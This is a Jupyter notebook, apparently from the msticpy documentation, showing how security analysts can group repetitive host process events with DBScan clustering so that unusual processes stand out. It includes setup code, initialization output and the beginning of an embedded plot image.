{ "cells": [ { "cell_type": "markdown", "metadata": { "toc": true }, "source": [ "

Table of Contents

\n", "
" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# msticpy - Event Clustering\n", "\n", "Often, large sets of events contain a lot of very repetitive and unintersting system processes. However, these frequently have values (e.g. commandline or path content) that varies on each execution. This makes it difficult to find outlying events using standard sorting and grouping techniques.\n", "We process the data to extract patterns and use clustering to group these repetitive events into a single row (with an execution count). This makes it easier to find unusual events.\n", "\n", "You must have msticpy installed with the \"ml\" components to run this notebook:\n", "```\n", "%pip install --upgrade msticpy[ml]\n", "```\n", "\n" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Requirement already satisfied: seaborn in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (0.11.2)\n", "Requirement already satisfied: numpy>=1.15 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from seaborn) (1.22.0)\n", "Requirement already satisfied: scipy>=1.0 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from seaborn) (1.7.3)\n", "Requirement already satisfied: matplotlib>=2.2 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from seaborn) (3.5.1)\n", "Requirement already satisfied: pandas>=0.23 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from seaborn) (1.3.5)\n", "Requirement already satisfied: pyparsing>=2.2.1 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from matplotlib>=2.2->seaborn) (3.0.4)\n", "Requirement already satisfied: fonttools>=4.22.0 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from matplotlib>=2.2->seaborn) (4.25.0)\n", "Requirement already satisfied: pillow>=6.2.0 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from matplotlib>=2.2->seaborn) (8.4.0)\n", "Requirement already satisfied: cycler>=0.10 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from matplotlib>=2.2->seaborn) (0.11.0)\n", "Requirement already satisfied: kiwisolver>=1.0.1 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from matplotlib>=2.2->seaborn) (1.3.1)\n", "Requirement already satisfied: python-dateutil>=2.7 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from matplotlib>=2.2->seaborn) (2.8.2)\n", "Requirement already satisfied: packaging>=20.0 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from matplotlib>=2.2->seaborn) (21.3)\n", "Requirement already satisfied: pytz>=2017.3 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from pandas>=0.23->seaborn) (2021.3)\n", "Requirement already satisfied: six>=1.5 in f:\\anaconda\\envs\\msticpy\\lib\\site-packages (from python-dateutil>=2.7->matplotlib>=2.2->seaborn) (1.16.0)\n", "Note: you may need to restart the kernel to use updated packages.\n" ] } ], "source": [ "%pip install seaborn" ] }, { "cell_type": "code", "execution_count": 2, "metadata": {}, "outputs": [ { "data": { "text/html": [ "

Starting Notebook initialization...


" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "msticpy version installed: 1.7.0 latest published: 1.7.0
Latest version is installed.

" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "Processing imports....
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "Imported: pd (pandas), IPython.get_ipython, IPython.display.display, IPython.display.HTML, IPython.display.Markdown, widgets (ipywidgets), pathlib.Path, plt (matplotlib.pyplot), matplotlib.MatplotlibDeprecationWarning, np (numpy), sns (seaborn), msticpy, msticpy.data.QueryProvider, msticpy.vis.foliummap.FoliumMap, msticpy.common.utility.md, msticpy.common.utility.md_warn, msticpy.common.wsconfig.WorkspaceConfig, msticpy.datamodel.pivots.pivot.Pivot, msticpy.datamodel.entities, msticpy.nbtools.nbmagics, msticpy.vis.mp_pandas_plot
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "Checking configuration....
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "Azure CLI credentials not detected. (see Caching credentials with Azure CLI)
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "Setting notebook options....
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "This product includes GeoLite2 data created by MaxMind, available from\n", "
https://www.maxmind.com.\n" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "This library uses services provided by ipstack.\n", "https://ipstack.com" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "Using Open PageRank. See https://www.domcop.com/openpagerank/what-is-openpagerank

" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "
" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "

Notebook initialization complete


" ], "text/plain": [ "" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Imports\n", "import sys\n", "import warnings\n", "\n", "from msticpy.common.utility import check_py_version\n", "MIN_REQ_PYTHON = (3,6)\n", "check_py_version(MIN_REQ_PYTHON)\n", "\n", "from IPython import get_ipython\n", "from IPython.display import display\n", "import ipywidgets as widgets\n", "\n", "import matplotlib.pyplot as plt\n", "import seaborn as sns\n", "sns.set()\n", "import networkx as nx\n", "\n", "import pandas as pd\n", "pd.set_option('display.max_rows', 100)\n", "pd.set_option('display.max_columns', 50)\n", "pd.set_option('display.max_colwidth', 100)\n", "\n", "import msticpy\n", "msticpy.init_notebook(globals())\n", "from msticpy.vis.timeline import display_timeline\n", "from msticpy.vis import nbdisplay\n", "\n", "# Some of our dependencies (networkx) still use deprecated Matplotlib\n", "# APIs - we can't do anything about it so suppress them from view\n", "from matplotlib import MatplotlibDeprecationWarning\n", "warnings.simplefilter(\"ignore\", category=MatplotlibDeprecationWarning)\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "[Contents](#toc)\n", "# Processes on Host - Clustering\n", "Sometimes you don't have a source process to work with. Other times it's just useful to see what else is going on on the host. This section retrieves all processes on the host within the time bounds\n", "set in the query times widget.\n", "\n", "You can display the raw output of this by looking at the *processes_on_host* dataframe. Just copy this into a new cell and hit Ctrl-Enter.\n", "\n", "Usually though, the results return a lot of very repetitive and unintersting system processes so we attempt to cluster these to make the view easier to negotiate. \n", "To do this we process the raw event list output to extract a few features that render strings (such as commandline)into numerical values. The default below uses the following features:\n", "- commandLineTokensFull - this is a count of common delimiters in the commandline \n", " (given by this regex r'[\\s\\-\\\\/\\.,\"\\'|&:;%$()]'). The aim of this is to capture the commandline structure while ignoring variations on what is essentially the same pattern (e.g. temporary path GUIDs, target IP or host names, etc.)\n", "- pathScore - this sums the ordinal (character) value of each character in the path (so /bin/bash and /bin/bosh would have similar scores).\n", "- isSystemSession - 1 if this is a root/system session, 0 if anything else.\n", "\n", "Then we run a clustering algorithm (DBScan in this case) on the process list. The result groups similar (noisy) processes together and leaves unique process patterns as single-member clusters." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Clustered Processes (i.e. processes that have a cluster size > 1)" ] }, { "cell_type": "code", "execution_count": 3, "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Number of input events: 363\n", "Number of clustered events: 62\n" ] }, { "data": { "text/plain": [ " 1'}, xlabel='processName'>" ] }, "execution_count": 3, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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bdo0LFu2DDt37sTVq1dx9OhRTJw4EcuWLUNISAgiIiJw9OjRL9FeIiIiIiKdfbII3r9/Pzp06IASJUogT548WLRoEUxNTVG2bFmUKVMGRkZGsLOzQ2ho6JdoLxERERGRzj45O8S9e/eQJ08eDBo0CE+ePEHz5s1RqVIlmJuba37GwsICz549+6wXLlYs63O5mZsX+KzszyVnvtxtl+s19XWfMJvZOSGf2cxmds7Lljuf2fqX/ckiWKlU4ty5c9i4cSPy5cuHwYMHw8TEBAqFQvMzQgitx1nx4kUiVKpPz6En5xQbcudLkZ2dgyzFa+bkfcJsZufkfGYzm9k5L1vufGbn3GwDA8UHO14/WQR/9913sLKyQtGiRQEArVu3RmhoKAwN/29pupiYGFhYSDsvHhERERGRXD45JrhFixY4duwY4uPjoVQqERYWBltbW0RGRuLevXtQKpXYtWsXmjZt+iXaS0RERESks0/2BNesWRO///47fvvtN6Snp8Pa2hq//vorypcvDzc3N6SmpqJZs2awtbX9Eu0lIiIiItJZlpZN7tq1K7p27aq1zcrKCjt37pSlUUREREREcuKKcURERESU67AIJiIiIqJch0UwEREREeU6LIKJiIiIKNdhEUxEREREuQ6LYCIiIiLKdVgEExEREVGuwyKYiIiIiHIdFsFERERElOuwCCYiIiKiXIdFMBERERHlOiyCiYiIiCjXYRFMRERERLkOi2AiIiIiynVYBBMRERFRrsMimIiIiIhyHRbBRERERJTrsAgmIiIiolyHRTARERER5TosgomIiIgo12ERTERERES5DotgIiIiIsp1WAQTERERUa7DIpiIiIiIch0WwURERESU67AIJiIiIqJch0UwEREREeU6LIKJiIiIKNdhEUxEREREuQ6LYCIiIiLKdVgEExEREVGuwyKYiIiIiHIdFsFERERElOuwCCYiIiKiXIdFMBERERHlOlkugufNmwcPDw8AwIkTJ2BnZ4e2bdti0aJFsjWOiIiIiEgOWSqCT548iaCgIABASkoKJk6ciGXLliEkJAQRERE4evSorI0kIiIiIpLSJ4vgV69eYdGiRRg0aBAAIDw8HGXLlkWZMmVgZGQEOzs7hIaGyt5QIiIiIiKpGH3qB6ZOnYpRo0bhyZMnAIDo6GiYm5trnrewsMCzZ88++4WLFTPL8s+amxf47PzPIWe+3G2X6zX1dZ8wm9k5IZ/ZzGZ2zsuWO5/Z+pf90SJ469atKFmyJKysrBAYGAgAUKlUUCgUmp8RQmg9zqoXLxKhUolP/py5eQHExCR8dn5WyZkvRXZ2DrIUr5mT9wmzmZ2T85nNbGbnvGy585mdc7MNDBQf7Hj9aBEcEhKCmJgYODg4IC4uDklJSXj06BEMDQ01PxMTEwMLC4vPaPrXUaCgKUzyZv7PfbfQTEnNQEJ88pdoFhERERF9BR8tgteuXav5c2BgIM6cOYMZM2agbdu2uHfvHkqXLo1du3ahS5cusjdUVyZ5jWA3ZkeWfjZ4oQPk+12UiIiIiL62T44JflfevHkxd+5cuLm5ITU1Fc2aNYOtra0cbdMb7GUmIiIi0i9ZLoKdnJzg5OQEALCyssLOnTtla5S+YS8zERERkX7hinFERERElOuwCCYiIiKiXIdFMBERERHlOiyCiYiIiCjXYRFMRERERLnOZ0+RJqcPTTWW2appnGqMiIiIiLIrRxXBnGqMiIiIiL4EDocgIiIiolyHRTARERER5TosgomIiIgo12ERTERERES5DotgIiIiIsp1WAQTERERUa7DIpiIiIiIch0WwURERESU67AIJiIiIqJch0UwEREREeU6LIKJiIiIKNdhEUxEREREuQ6LYCIiIiLKdYy+dgOIiIg+pUBBU5jkzfwry9y8wHvbUlIzkBCfLHeziEiPsQgmIqIczySvEezG7MjyzwcvdECCjO0hIv3H4RBERERElOuwCCYiIiKiXIdFMBERERHlOiyCiYiIiCjXYRFMRERERLkOi2AiIiIiynVYBBMRERFRrsMimIiIiIhyHRbBRERERJTrcMW4XIzLkBIREVFuxSI4F+MypERERJRbcTgEEREREeU6LIKJiIiIKNfJUhHs5+eHjh07omPHjpg/fz4A4MSJE7Czs0Pbtm2xaNEiWRtJRERERCSlTxbBJ06cwLFjxxAUFITt27fjypUr2LVrFyZOnIhly5YhJCQEEREROHr06JdoLxERERGRzj5ZBJubm8PDwwPGxsbIkycPKlSogKioKJQtWxZlypSBkZER7OzsEBoa+iXaS0RERESks0/ODlGpUiXNn6OiorBnzx707NkT5ubmmu0WFhZ49uzZZ71wsWJmn/XzmclsGi+p6Gu23PlSZOf09jH728+WO5/ZXzZbztfU133C7C+fz2z9y87yFGm3bt3CwIEDMX78eBgaGiIqKkrznBACCoXis174xYtEqFRCa9vn/oNiYrI+YVduyf6cfDmzP/aaumYwm9k5OZ/Z8mTz84rZOTmf2Tk328BA8cGO1yzdGHf+/Hn07t0bY8aMQefOnVGiRAnExMRono+JiYGFhUWWGkNERERE9LV9sgh+8uQJhg4dCm9vb3Ts2BEAULNmTURGRuLevXtQKpXYtWsXmjZtKntjiYiIiIik8MnhEH/++SdSU1Mxd+5czTZnZ2fMnTsXbm5uSE1NRbNmzWBraytrQ4mIiIiIpPLJInjy5MmYPHlyps/t3LlT8gYREREREcmNK8YRERERUa7DIpiIiIiIch0WwURERESU67AIJiIiIqJch0UwEREREeU6WV4xjuhzFChoCpO8mZ9ema38lJKagYT4ZLmbRURERASARTDJxCSvEezG7MjyzwcvdIB8i2USERERaeNwCCIiIiLKdVgEExEREVGuwyKYiIiIiHIdFsFERERElOuwCCYiIiKiXIdFMBERERHlOiyCiYiIiCjXYRFMRERERLkOi2AiIiIiynVYBBMRERFRrsMimIiIiIhyHaOv3QAiyvkKFDSFSd73Py7MzQu8ty0lNQMJ8clfollERETZxiKYiD7JJK8R7MbsyNLPBi90QILM7SEiItIVh0MQERERUa7DIpiIiIiIch0OhyCir4rjjd/3oX0C5O79oo94LIlyLhbBRPRVcbzx+z5nnwC5Z7/oIx5LopyLRTARERF9Mz6n950977kbi2AiIiL6ZvDqEmUVi2AiIiKir4zjx788FsFEREREXxnHj395nCKNiIiIiHId9gQT0TeLN8gQEdGHsAgmom8Wb5AhIqIPYRFMekfOmwf0NZsoq3geflvkXGyGC9nQt45FMOkdOW8e0NdsoqziefhtkfNqB6+k0LeORTDRN4K9Nl8Wxxu/T197mfW13fpMXz+v9PV9r69XOeV+b+pUBAcHB2P58uXIyMhAr1690KNHD13iiEgH7LX5sri/36evvcz62m59pq/vn9zQbiDnXOWU+72Z7SL42bNnWLRoEQIDA2FsbAxnZ2c0bNgQFStWzG4kEREREdEXke0i+MSJE2jUqBEKFy4MAGjXrh1CQ0MxbNiwLP19AwNFptstiphmuQ0fyviQ3JD9ufnM/nay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